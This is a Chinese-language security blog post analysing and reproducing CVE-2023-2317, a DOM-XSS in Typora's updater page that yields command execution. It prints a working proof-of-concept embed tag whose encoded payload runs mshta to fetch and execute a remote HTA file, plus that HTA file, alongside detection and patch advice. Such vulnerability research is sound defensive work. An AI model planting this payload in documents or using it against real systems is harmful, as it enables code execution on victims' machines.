Typora 命令执行漏洞(CVE-2023-2317)分析与复现

admin 2023年8月31日01:06:59评论219 views字数 3328阅读11分5秒阅读模式

漏洞简介

Typora是一款编辑器,该编辑器1.6.7之前版本存在XSS漏洞通过在HTML标签中加载 typora://app/typemark/updater/update.html传入精心构造的参数,可以触发DOM-XSS漏洞,实现Typora主窗口中加载恶意JavaScript代码。

漏洞分析

漏洞触发点位于Typora文件夹下的updater.html,可能是跟软件更新相关的文件。通过typora:// 协议可以直接访问到这个html文件,可以通过url给这个文件传参。

Typora 命令执行漏洞(CVE-2023-2317)分析与复现

HTML文件中的JavaScript代码会从当前URL的查询字符串中提取名字为"labels"的参数值,解码后用JSON解析。然后使用document.querySelector("#sum").innerText 来修改id为"sum"的HTML元素内的文字内容,将labels[4]和labels[5]中的特定部分(可能与版本号有关)插入其中。

使用document.querySelectorAll("[data-label]") 找到所有拥有"data-label"属性的HTML元素,然后根据每个元素的"data-label"属性值作为索引获取labels对应位置的内容,并替换这些元素的innerHTML。

也就是说dom.innerHTML 被赋值为从 labels 数组中获取的内容文本,这也是导致XSS漏洞的关键点。由于labels的参数可控并且可以含有恶意的JavaScript代码,会导致dom.innerHTML直接使用恶意的没有经过任何转义的外部输入,从而触发JavaScript代码执行。

Typora 命令执行漏洞(CVE-2023-2317)分析与复现

DOM(Document Object Model)是一个浏览器中的编程接口,它表示HTML或XML文档的结构并承载一些基础操作。而innerHTML是DOM中的一个属性,它可以读写一个HTML元素的内容。

当你使用innerHTML插入HTML标签字符串到页面时,如果该字符串中包含JavaScript代码(例如,<script> 标签或者带有事件处理如 onclick, onerror, onload 等的标签),那么当这个插入操作发生时,包含在其中的JavaScript会被浏览器执行。如果直接将用户传入或控制的数据直接作为innerHTML进行设置,便可能引发跨站脚本攻击。

假设一个用户输入了以下HTML:<img src='nonexistent' onerror='alert("XSS")'> ,代码错误地将这个输入直接作为innerHTML插入了页面,这样的话onerror事件会在图片加载失败时触发,导致弹出对话框显示"XSS"。

在这段代码前面一点,可以看到有四个元素拥有"data-label"属性值,相对应labels的索引值为0、1、2、3。也就是说labels的前四个元素内容会被作为值赋给dom.innerHTMLXSS触发代码需要放在前四个元素中。 

Typora 命令执行漏洞(CVE-2023-2317)分析与复现

漏洞复现

安装有漏洞版本Typora 1.5.12

Typora 命令执行漏洞(CVE-2023-2317)分析与复现

Typora 支持在Markdown文档中使用一些特定的语法来插入和呈现多媒体内容,如图像、音频和视频等。其中<embed>标签是Typora的语法之一,用于插入嵌入式内容。

<embed> 标签的 src 属性使用Typora的特定协议指定一个Typora内部的地址,例如 typora://app/typemark/updater/updater.html这个地址是 Typora 内部的特殊地址用于检查和下载 Typora 的更新文件。当在Typora中输入或访问这段内容时,Typora 会解析该语法,并根据其内部逻辑尝试访问和处理相应的更新功能。

参考网上的POC进行构造,给updater.html传参labels里面可以多写几个空元素,需要在前四个元素中构造一个触发XSS漏洞的元素。

<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ21zaHRhIGh0dHA6Ly8xMjcuMC4wLjEvY2FsYy5odGEnKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22]">

POC经过url解码和base64解码之后是这样的:

<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=["","","<svg/onload=top.eval(atob('reqnode('child_process').exec('mshta http://127.0.0.1/calc.hta')'))></svg>","","",""]">


其实可以把Typora页面当作一个浏览器,当Typora中加载此PoC文本时,编辑器会使用typora:// 协议访问updater.html,其中的漏洞代码将构造的恶意JavaScript代码直接作为innerHTML插入了页面导致XSS。XSS漏洞利用代码通过SVG标签中的 onload 属性来触发代码的执行。onload 事件在SVG标签被浏览器加载后触发,引发JavaScript代码执行。

新建md文件,写入poc代码,文本内容类型为html

Typora 命令执行漏洞(CVE-2023-2317)分析与复现

打开POC文件,JS命令将会执行mshta将远程加载执行hta文件

Typora 命令执行漏洞(CVE-2023-2317)分析与复现

远程hta文件内容:


<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"><HEAD> <script language="VBScript">Window.ReSizeTo 0, 0Window.moveTo -2000,-2000Set objShell = CreateObject("Wscript.Shell")objShell.Run "calc.exe"self.close</script><body>demo</body></HEAD>

验证下对html代码的分析,将xss触发代码放到第五个元素中,漏洞就不触发了:

Typora 命令执行漏洞(CVE-2023-2317)分析与复现

(这里还尝试过用curl拉取远程文件落地并执行,但是发现只能访问到远程文件,但是文件无法被拉下来落地,不知道是为什么... 另外本人对WEB漏洞研究的不多,如果有哪里写的不对欢迎指导交流~~)

漏洞检测

可通过EDR监控Typora.exe启动系统cmd执行可疑指令的行为(因为exec()方法一定会调用cmd)。当然应该也有其他的方法可以利用来执行命令,为了更全面的覆盖检测,我们甚至可以通过白名单的方式,将Typora.exe会正常启动的一些进程、执行的指令进行过滤,监控异常的行为,但是这样需要足够多的数据进行白名单统计。

漏洞修补

补丁获取链接:https://support.typora.io/What's-New-1.6

https://buaq.net/go-175535.html?utm_source=feedly

参考文章

https://mp.weixin.qq.com/s/xj08AP19KyFLYwWtHwmDrQ


注:本文内容仅用于研究学习,不可用于网络攻击等非法行为,否则造成的后果均与本文作者和本公众号无关,维护网络安全人人有责~
来呀,一起成为一名合格的网络保安  ↓  

原文始发于微信公众号(红蓝攻防研究实验室):Typora 命令执行漏洞(CVE-2023-2317)分析与复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月31日01:06:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Typora 命令执行漏洞(CVE-2023-2317)分析与复现http://cn-sec.com/archives/1995581.html

发表评论

匿名网友 填写信息